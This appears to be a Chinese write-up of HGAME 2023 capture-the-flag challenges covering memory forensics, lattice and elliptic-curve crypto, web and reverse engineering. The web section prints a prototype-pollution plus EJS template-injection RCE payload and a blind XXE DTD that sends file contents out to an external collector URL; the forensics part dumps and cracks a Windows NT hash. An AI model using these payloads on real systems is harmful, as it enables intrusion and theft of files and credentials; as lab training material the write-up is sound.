HGAME 2023 将于 1 月 5 日 20:00 正式开始，祝大家玩得开心 :-)
线上赛平台：https://hgame.vidar.club
请尽快注册，注册时请选择校外选手，注册将于 1 月 12 日 20:00 关闭
本次比赛的奖励事宜以及赛后沟通反馈以邮件为主，请各位使用真实的邮件地址
比赛奖金(针对校外榜)：
第1名：1000Pwnhub金币
第2名：800Pwnhub金币
第3名：600Pwnhub金币
4-10名：300Pwnhub金币
补充说明：排行榜分数相同者，以先达到该分数的时间次序划定排名，每位获奖选手额外赠送 Pwnhub 邀请码一个
注意：
* 所有选手均以个人为单位参赛；
* 在解题过程中遇到瓶颈或困难可以私聊出题人
* 禁止所有破坏比赛公平公正的行为，如：散播或与其他人交换 Flag、解题思路，对平台、参赛者或其他人员进行攻击。违者分数作废并取消比赛资格。
* HGAME 线上赛分为四周，每周至官方wp发布前前禁止一切讨论本周题目以及公开自己 wp 的行为。在收集完成后会开放讨论，但仅能讨论已结束的题目。
* 每周比赛结束后本周前20名需提交wp到指定邮箱
本比赛最终解释权归 Vidar-Team 所有

Rank: 9 / Total Rank: 8

Misc

ezWin (variables/auth/7zip)

> 非常常规的 Windows 内存取证，请使用 volatility3
>
> 注：系列题目使用同一个镜像，使用下方任意链接下载一次即可
>
> https://pan.baidu.com/s/1FDQeEVFSSznEGpqmWgS47w?pwd=57l8
>
> https://pan.quark.cn/s/9418099763d7
>
> https://mega.nz/file/KzIigTKR#PqV-l7LX5X4pmBHFJQVE8g2mFS60XCbQjTmw-el92ts

使用volatility3分析Windows 10镜像。

1. variables

查看环境变量：

`python vol.py -f win10_22h2_19045.2486.vmem windows.envars`

得到第1个flag值：`hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}`。

2. 7zip

查找7z文件：

`python3 vol.py -f win10_22h2_19045.2486.vmem windows.filescan | grep -i 7z`

找到 `flag.7z`，导出：

`python3 vol.py -f win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr 0xd0064181c950`

打开发现需要密码，内含文件 `crack_nt_hash_for_7z_pwd.txt`，文件名即提示，需要破解NTHash值得到解压密码。

提取账户信息：

`python3 vol.py -f win10_22h2_19045.2486.vmem windows.hashdump`

得到：

```
Noname  1000    aad3b435b51404eeaad3b435b51404ee        84b0d9c9f830238933e7131d60ac6436
```

使用cmd5查询得到 `84b0d9c9f830238933e7131d60ac6436` 对应明文为 `asdqwe123`，解压得到flag：`hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}`。

3. auth

查看命令行历史记录：

`python vol.py -f win10_22h2_19045.2486.vmem windows.cmdline`

发现提示 `flag2 is current user nthash...`，根据上一题hashdump得到的结果，flag为：`hgame{84b0d9c9f830238933e7131d60ac6436}`。

Crypto

LLLCG

> "我保留了大部分LCG的特征，但是也去除了一部分，这样才知道你们需要用到LLL"，"你是有意把它去除的吗"，"是出题的过程中我去除了一部分"，"是故意的还是不小心"，"是故意的"

```python
from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag

class LCG():
    def __init__(self) -> None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)

    def next(self):
        self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n
        return self.seed

lcg = LCG()

outputs = []
for i in range(40):
    outputs.append(lcg.next())

with open('output.txt', 'w') as f:
    f.write(str(outputs))
```

出题失误，`self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n` 该句代码未加括号，且 $r \in [-2^{340}, 2^{340}] < \text{seed} < n$，直接做整除操作可以恢复 a。

```python
c = [...]

for i in range(1,40):
    m = c[i]//c[i-1]
    try:
        print(bytes.fromhex(hex(m)[2:]))
    except:
        pass

b'hgame{WOw_you_know_the_hidden_number_problem}'
```

LLLCG Revenge

> ```python
> from Crypto.Util.number import *
> from random import randint
> from sage.all import next_prime
> from flag import flag
>
> class LCG():
>     def __init__(self) -> None:
>         self.n = next_prime(2**360)
>         self.a = bytes_to_long(flag)
>         self.seed = randint(1, self.n-1)
>
>     def next(self):
>         self.seed = (self.seed * self.a + randint(-2**340, 2**340)) % self.n
>         return self.seed
>
> lcg = LCG()
>
> outputs = []
> for i in range(40):
>     outputs.append(lcg.next())
>
> with open('output.txt', 'w') as f:
>     f.write(str(outputs))
> ```

修复后，有 $s_{i+1} \equiv as_i + r_i \pmod n, i \in [0, 38)$，即 $s_{i+1} = as_i + r_i + k_i n, i \in [0, 38)$。

令 $A_i = s_i, B_i = -s_{i+1}, x = a$，有 $-r_i = A_i x + B_i + k_i n$，典型HNP问题，构建格：

$$M=\begin{bmatrix} n & & & & & \\ & n & & & & \\ & & \ddots & & & \\ & & & n & & \\ A_0 & A_1 & \dots & A_{38} & K/n & \\ B_0 & B_1 & \dots & B_{38} & & K \end{bmatrix}=\begin{bmatrix} n & & & & & \\ & n & & & & \\ & & \ddots & & & \\ & & & n & & \\ s_0 & s_1 & \dots & s_{38} & K/n & \\ -s_1 & -s_2 & \dots & -s_{39} & & K \end{bmatrix}$$

其中 K 为 r_i 的上界 $K=2^{340}$，则存在一个 M 的整系数线性组合 v，用LLL算法可以得到 v_k。

```
n = 234854258277383322788948059678933702737568254890831987070729097153220902511460844346369899838476870303193508 1
c = [...]

t = 39
A = []
B = []
for i in range(39):
    A.append(c[i])
    B.append(-c[i+1])

K = 2^340
X = n * identity_matrix(QQ, t)
Z = matrix(QQ, [0] * t + [K/n] + [0]).transpose()
Z2 = matrix(QQ, [0] * (t+1) + [K]).transpose()

Y = block_matrix([[X],[matrix(QQ, A)], [matrix(QQ, B)]])
Y = block_matrix([[Y, Z, Z2]])

Y = Y.LLL()

k0 = ZZ(Y[1, 0] % n)
flag = ZZ(Y[1, -2] / (K/n) % n)
assert(k0 == (A[0]*flag + B[0]) % n)
print(bytes.fromhex(hex(flag)[2:]))

# b'hgame{Repair_modulus_prob1em_5o_HNP_Revenge}'
```

ECRSA

> 兔兔拜年时遇到了RSA，听说RSA还没有另一半于是把EC介绍给了他。

```
from sage.all import *
from sage.all_cmdline import *
from Crypto.Util.number import *
from secret import flag

Nbits = 512
x = bytes_to_long(flag)
f = open('./output', 'w')

def gen_pubkey(Nbits):
    p = getPrime(Nbits // 2)
    q = getPrime(Nbits // 2)
    n = p*q
    while True:
        a = getRandomInteger(Nbits // 2)
        b = getRandomInteger(Nbits // 2)
        if gcd(4*a**3 + 27*b**2, n) == 1:
            break
    E = EllipticCurve(Zmod(n), [a, b])
    e = getPrime(64)
    f.write(f"p={p}\nq={q}\n")
    return n, E, e

n, E, e = gen_pubkey(Nbits)
pt = E.lift_x(Integer(x))
ct = pt * e
f.write(f"n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n")
f.write(f"ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n")
```

给出点 $C=eP$ 的横坐标，根据椭圆曲线性质，点 C 也在曲线上。

再利用 e 对 $\#E(\mathbb{F}_p)\times\#E(\mathbb{F}_q)$ 取模逆即可得到 $E(\mathbb{Z}/n\mathbb{Z})$ 意义下的 d，再解密按照RSA方式解密。

```
import gmpy2
```

```
p = 11519226595480231194139901959881072466943736943368090542567669166179351896745 3
q = 10990087977434690873923613085422917106753359220082465212438993654371660384048 7
n = 12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611
a = 34573016245861396068378040882622992245754693028152290874131112955018884485688
b = 10328213713382094820668203656967156699638143825489751034428916403971735551388 6
e = 11415307674045871669
ciphertext = b'f\xb1\xae\x08`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea'

E = EllipticCurve(Zmod(n), [a, b])
cx = int(ciphertext.hex(),16)

Ep = E.change_ring(GF(p))
Eq = E.change_ring(GF(q))
d = inverse_mod(e, Ep.order() * Eq.order())
print(d)

cy2 = (cx^3 + a * cx + b) % n

c = cy2
e = 2

P.<a> = PolynomialRing(Zmod(p),implementation='NTL')
f = a^e-c
mps = f.monic().roots()

P.<a> = PolynomialRing(Zmod(q),implementation='NTL')
g = a^e-c
mqs = g.monic().roots()

cy_all = []
for mpp in mps:
    x = mpp[0]
    for mqq in mqs:
        y = mqq[0]
        cy_all.append(CRT_list([int(x), int(y)], [p, q]))

for cy in cy_all:
    C = E(cx,cy)
    m, _ = (int(d)*C).xy()
    try:
        print(bytes.fromhex(hex(m)[2:]))
    except:
        pass

# b'hgame{ECC_4nd_RSA_also_can_be_combined}'
```

Web

Shared Diary

> ek1ng给协会成员写了一个在线共享日记本，不论是谁只要知道密码，都可以在上面记录自己的小秘密。不过好像他的js学的并不好导致无意中引入了漏洞，看来js也有很多安全问题。

node.js Express框架，`app.js` ：

```
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const ejs = require('ejs');
const path = require('path');
const app = express();

function merge(target, source) {
    for (let key in source) {
        // Prevent prototype pollution
        if (key === '__proto__') {
            throw new Error("Detected Prototype Pollution")
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
```

```
    }
}

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.all("/login", (req, res) => {
    if (req.method == 'POST') {
        // save userinfo to session
        let data = {};
        try {
            merge(data, req.body)
            console.log(data);
        } catch (e) {
            return res.render("login", {message: "Don't pollution my shared diary!"})
        }
        req.session.data = data
        console.log(req.session);

        // check password
        let user = {};
        console.log(user);
        user.password = req.body.password;
        console.log(user);
        if (user.password=== "testpassword") {
            user.role = 'admin'
        }
        if (user.role === 'admin') {
            req.session.role = 'admin'
            return res.redirect('/')
        }else {
            return res.render("login", {message: "Login as admin or don't touch my shared diary!"})
        }
    }
    res.render('login', {message: ""});
});

app.all('/', (req, res) => {
    if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
        return res.redirect("/login")
    }
    if (req.method == 'POST') {
        let diary = ejs.render(`<div>${req.body.diary}</div>`)
        req.session.diary = diary
        return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
    }
    return res.render('diary', {diary: req.session.diary, username: req.session.data.username});
})


app.listen(8888, '0.0.0.0');
```

审计源码，`merge()` 函数存在原型链污染漏洞，但禁用了 `__proto__`，利用 `constructor.prototype` 绕过。

将 `user.role` 设置为 `admin`，绕过权限控制后，进入 `/` 路由，而 `ejs.render()` 存在SSTI漏洞，设置 `diary` 值为 `<%- global.process.mainModule.require('child_process').execSync('ls -al /') %>` 即可RCE。

手动修改 `Content-Type` 为 `application/json`，POST payload：

```
{"username":"xxx","password":"ttt",
"diary":"<%- global.process.mainModule.require('child_process').execSync('cat /flag') %>","constructor":
{"prototype":{"role":"admin"}}}
```

得到flag：`hgame{NOtice_prototype_pollution&&EJS_server_template_injection}`。

Tell Me

> Just tell me your thoughts

查看源代码提示 `hint: ./www.zip`，查看 `send.php`：

```php
<?php

libxml_disable_entity_loader(false);

if ($_SERVER["REQUEST_METHOD"] == "POST"){
    $xmldata = file_get_contents("php://input");
    if (isset($xmldata)){
        $dom = new DOMDocument();
        try {
            $dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
        }catch(Exception $e){
            $result = "loading xml data error";
            echo $result;
            return;
        }
        $data = simplexml_import_dom($dom);

        if (!isset($data->name) || !isset($data->email) || !isset($data->content)){
            $result = "name,email,content cannot be empty";
            echo $result;
            return;
        }

        if ($data->name && $data->email && $data->content){
            $result = "Success! I will see it later";
            echo $result;
            return;
        }else {
            $result = "Parse xml data error";
            echo $result;
            return;
        }
    }
}else {
    die("Request Method Not Allowed");
}

?>
```

使用 `loadXML()+simplexml_import_dom()` 函数解析xml数据，存在XXE漏洞，但无可控制的回显信息，使用外带方式带出命令执行结果。

在VPS新建 `test.dtd`，内容：

```
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://eo3dgkbstljeu1v.m.pipedream.net?p=%file;'>">
```

POST数据：

```
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://VPS-IP/test.dtd">
%remote;%int;%send;
]>
<user><name>s</name><email>d</email><content>sss</content></user>
```

在pipedream得到回显：

`https://eo3dgkbstljeu1v.m.pipedream.net?p=PD9waHAgDQogICAgJGZsYWcxIDOgImhnYW1leOJlXOF3YXJlXzBmX1hYZUJsMW5kMW5qZWNOaTBufSI7DQo/Pg==`

base64解码得 `flag.php` 内容：

```php
<?php
    $flag1 = "hgame{Be_Aware_Of_XXeBl1nd1njectiOn}";
?>
```

Reverse

shellcode

> 兔兔的电脑不小心中了病毒，病毒把他写的论文给加密了，你能帮兔兔恢复吗？

Go程序，在 `main_main()` 中查看代码逻辑，结合题目，其中一个长base64编码字符串可能为调用的shellcode字符串。

提取出来：

`VUiD7FBIjWwkIEiJTUBIi0VAiwCJRQC4BAAAAEgDRUCLAIlFBMdFCAAAAADHRQwj782rx0UQFgAAAMdFFCEAAADHRRgsAAAAx0UcNwAAAMdFIAAAAACLRSCD+CBzWotFDANFCIlFCItFBMHgBANFEItVCANVBDPCi1UEweoFA1UUM8IDRQCJRQCLRQDB4AQDRRiLVQgDVQAzwotVAMHqBQNVHDPCA0UEiUUEuAEAAAADRSCJRSDrnkiLRUCLVQCJELgEAAAASANFQItVBIkQSI1lMF3D`

解码后保存为文件，使用IDA查看，识别为函数：

```
_DWORD *__fastcall sub_1(unsigned int *a1)
{
  _DWORD *result; // rax
  unsigned int v2; // [rsp+20h] [rbp+0h]
  unsigned int v3; // [rsp+24h] [rbp+4h]
  int v4; // [rsp+28h] [rbp+8h]
  unsigned int i; // [rsp+40h] [rbp+20h]

  v2 = *a1;
  v3 = a1[1];
  v4 = 0;
  for ( i = 0; i < 0x20; ++i )
  {
    v4 += 0xABCDEF23;
    v2 += ((v3 >> 5) + 33) ^ (v3 + v4) ^ (16 * v3 + 22);
    v3 += ((v2 >> 5) + 55) ^ (v2 + v4) ^ (16 * v2 + 44);
  }
  *a1 = v2;
  result = a1 + 1;
  a1[1] = v3;
  return result;
}
```

易知代码为魔改了Delta值的TEA加密算法，解密：

```
from Crypto.Util.number import *

def decrypt(v, k):
    v0 = v[0]
    v1 = v[1]
    x = 0xABCDEF23 * 32
    delta = 0xABCDEF23
    k0 = k[0]
    k1 = k[1]
    k2 = k[2]
    k3 = k[3]
    for i in range(32):
        v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3)
        v1 = v1 & 0xFFFFFFFF
        v0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1)
        v0 = v0 & 0xFFFFFFFF
        x -= delta
        x = x & 0xFFFFFFFF
    v[0] = v0
    v[1] = v1
    return v

f = open('flag.enc','rb').read()
c = [bytes_to_long(f[4*i:4*(i+1)][::-1]) for i in range(len(f)//4)]
print(c)
key = [22, 33, 44, 55]
flag = b''
for i in range(len(c)//2):
    d = decrypt(c[2*i:2*(i+1)], key)
    flag += long_to_bytes(d[0])[::-1] + long_to_bytes(d[1])[::-1]

print(flag)

# b"hgame{th1s_1s_th3_tutu's_hOmewOrk}\x00"
```